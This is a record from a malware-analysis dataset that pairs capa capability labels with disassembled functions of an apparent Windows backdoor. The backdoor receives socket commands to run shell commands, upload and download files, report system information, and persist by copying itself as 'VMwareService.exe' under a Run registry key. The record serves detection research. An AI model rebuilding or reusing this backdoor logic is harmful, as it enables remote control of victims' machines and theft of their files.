joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140007690]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400076a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x1400076a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400076a0]
mov dword [rax], 1
mov rax, qword [0x1400076e0]
mov rdx, rax
mov rax, qword [0x1400076d0]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14000c024], 1
mov rax, qword [0x1400076a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400076c0]
mov rdx, rax
mov rax, qword [0x1400076b0]
mov rcx, rax
call sym._initterm
mov rax, qword [0x1400076a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140007690]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400075e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400075e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140007680]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14000c004]
lea rdx, [0x14000c008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x140007610]
mov rax, qword [rax]
mov rdx, qword [0x14000c010]
mov qword [rax], rdx
mov rcx, qword [0x14000c010]
mov rdx, qword [0x14000c008]
mov eax, dword [0x14000c004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14000c01c], eax
mov eax, dword [0x14000c020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000c01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14000c024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14000c01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140007640]
mov dword [rax], 1
mov rax, qword [0x140007650]
mov dword [rax], 1
mov rax, qword [0x140007660]
mov dword [rax], 1
mov rax, qword [0x140007600]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001c12
Capabilities:
Get memory capacity

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x38]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x140001c86
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x58
pop rbx
pop rbp
ret

Function at 0x140001ce3
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0x10
call sym.malloc
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0x10
lea rdx, [rbp - 0xc]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
mov rax, qword [rbp - 8]
add rsp, 0x30
pop rbp
ret

Function at 0x140001d1e
Capabilities:
Get disk size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x20]
lea rcx, [rax + 8]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, [0x140007050]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rbp + 0x10]
add rsp, 0x40
pop rbp
ret

Function at 0x140001f84
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
call sym.strSysrch
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.dcdeStm
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140001fed
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xcb0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xc50], ecx
mov qword [rbp + 0xc58], rdx
mov rax, qword [rbp + 0xc58]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400020e3
mov dword [rbp + 0xa], 0x63657865
mov word [rbp + 0xe], 0x20
lea rdx, [rbp + 0xa]
mov rax, qword [rbp + 0xc58]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0xc28], rax
lea rax, [rbp + 0xa]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0xc28]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc20]
lea rbx, [rax + 1]
lea rax, [rbp + 0xa]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0xc28]
add rdx, rax
mov rax, qword [rbp + 0xc58]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0xc58]
lea rdx, [0x140007104]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400020e3
mov rdx, qword [rbp + 0xc58]
mov eax, dword [rbp + 0xc50]
mov ecx, eax
call sym._chdir
mov eax, 0
jmp 0x14000229d
mov qword [rbp + 0xc18], 0
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, qword [rbp + 0xc58]
lea rax, [rbp + 0x10]
mov r9, rdx
lea r8, str._s_2_1
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x10]
lea rdx, [0x14000710f]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__popen]
call rax
mov qword [rbp + 0xc18], rax
cmp qword [rbp + 0xc18], 0
jne 0x14000222d
movabs rax, 0x786520726f727245
movabs rdx, 0x20676e6974756365
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x2e646e616d6d6f63
mov edx, 0x2e2e
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp], 0
mov eax, dword [rbp + 0xc50]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x14000229d
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0xc50]
cdqe
lea rdx, [rbp + 0x810]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0xc18]
lea rax, [rbp + 0x810]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400021f8
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0xc50]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0xc18]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__pclose]
call rax
mov eax, 0
add rsp, 0xcb0
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400022a8
Capabilities:
Get common file path
Send data
Send data on socket
Set current directory

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 8], rax
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x28]
lea rdx, [0x140007104]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000239d
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x14000249d
mov dword [rbp - 0x24], 0x206463
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.strstr
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
lea rbx, [rax + 1]
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rdx, rax
mov rax, qword [rbp - 8]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
nop
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x1400024a4
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7c0], ecx
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x140007116]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002526
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400025a9
lea rax, [rbp - 0x60]
movzx eax, byte [rax]
test al, al
je 0x1400025a3
lea rax, [rbp - 0x60]
lea rdx, [0x140007104]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002576
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym._chdir
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400024cf
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym.excndSend
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400024cf
nop
jmp 0x1400024cf
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x828
pop rdi
pop rbp
ret
Function at 0x1400026f7
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x860
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7f0], rcx
mov qword [rbp + 0x7f8], rdx
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x7c8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x2064616f6c7075
mov qword [rbp + 0x7a0], rax
lea rdx, [rbp + 0x7a0]
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0x7c0], rax
lea rax, [rbp + 0x7a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x7c0]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x7b8], rax
lea rax, [rbp + 0x7a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x7c0]
add rdx, rax
mov rcx, qword [rbp + 0x7b8]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rdx, qword [rbp + 0x7c8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov byte [rax], 0
mov qword [rbp + 0x7d8], 0
mov qword [rbp + 0x7d0], 0
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x7b4], eax
cmp dword [rbp + 0x7b4], 0
jg 0x1400028aa
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 0x21
lea rdx, str.Error_en_la_recepcin_de_datos._n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x1400029d8
lea rax, [rbp - 0x60]
lea rdx, [0x140007111]
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x14000296a
mov eax, dword [rbp + 0x7b4]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d0]
add rdx, rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.realloc
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
jne 0x140002921
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x1400029d8
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7d8], rax
mov eax, dword [rbp + 0x7b4]
movsxd r8, eax
mov rdx, qword [rbp + 0x7d8]
mov rax, qword [rbp + 0x7d0]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.memcpy
mov eax, dword [rbp + 0x7b4]
cdqe
add qword [rbp + 0x7d0], rax
jmp 0x14000282a
nop
mov rdx, qword [rbp + 0x7c8]
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.writeAndDecodeData
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x860
pop rbp
ret
Function at 0x1400029e1
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x810
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7a0], ecx
mov qword [rbp + 0x7a8], rdx
mov rax, qword [rbp + 0x7a8]
lea rdx, [0x140007142]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x140002a7d
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 0x1e
lea rdx, str.No_se_puede_abrir_el_archivo._n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002b84
lea rax, [rbp - 0x60]
mov r8d, 0x7d0
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140002afc
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.base64_encode
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x7a0]
cdqe
mov rdx, qword [rbp + 0x778]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sym.free
mov rdx, qword [rbp + 0x788]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x7d0
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
setne al
movzx eax, al
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002a96
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sym.fclose
mov ecx, 0x190
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x810
pop rbp
ret
Function at 0x140002b8d
Capabilities:
Copy file
Execute command
Persist via run registry key
Query environment variable
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xc8], rax
lea rax, str.VMwareService.exe
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb8], rax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcat
cmp qword [rbp + 0xb8], 0
jne 0x140002c6d
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002d70
lea rax, [rbp - 0x60]
mov r8d, 0xff
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov rdx, qword [rbp + 0xb8]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x140002ce5
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002d70
mov ecx, 0x800
call sym.malloc
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xf8]
lea rdx, [0x140007188]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002d35
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xa8]
mov r9, rdx
lea r8, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_MService__t_REG_SZ__d__s__f
mov edx, 0x800
mov rcx, rax
call sym.snprintf
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.system
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.exito
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x158
pop rbx
pop rbp
ret
Function at 0x140002d7a
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push rbp
sub rsp, 0x820
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7b0], ecx
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rax, [0x1400071f0]
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x60]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002e02
mov eax, 0
jmp 0x140002faf
lea rax, [rbp - 0x60]
lea rdx, str.exit__y
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002e23
mov ecx, 0
call sym.exit
lea rax, [rbp - 0x60]
lea rdx, str.shell
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002e4c
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.ash
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.download
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002e7a
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.strtSnd
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002ea8
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.excndSend
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.upload
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002eda
mov eax, dword [rbp + 0x7b0]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.uploadFunc
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.sysinfo
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002f2d
mov eax, dword [rbp + 0x7b0]
cdqe
mov rcx, rax
call sym.strtAll
mov eax, dword [rbp + 0x7b0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140007111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.lowpersistence
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002f6b
mov eax, dword [rbp + 0x7b0]
lea rdx, [0x140007188]
mov ecx, eax
call sym.getPrstnc
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140002d90
lea rax, [rbp - 0x60]
lea rdx, str.persistence
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002fa9
mov eax, dword [rbp + 0x7b0]
lea rdx, str.high
mov ecx, eax
call sym.getPrstnc
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140002d90
nop
jmp 0x140002d90
add rsp, 0x820
pop rbp
ret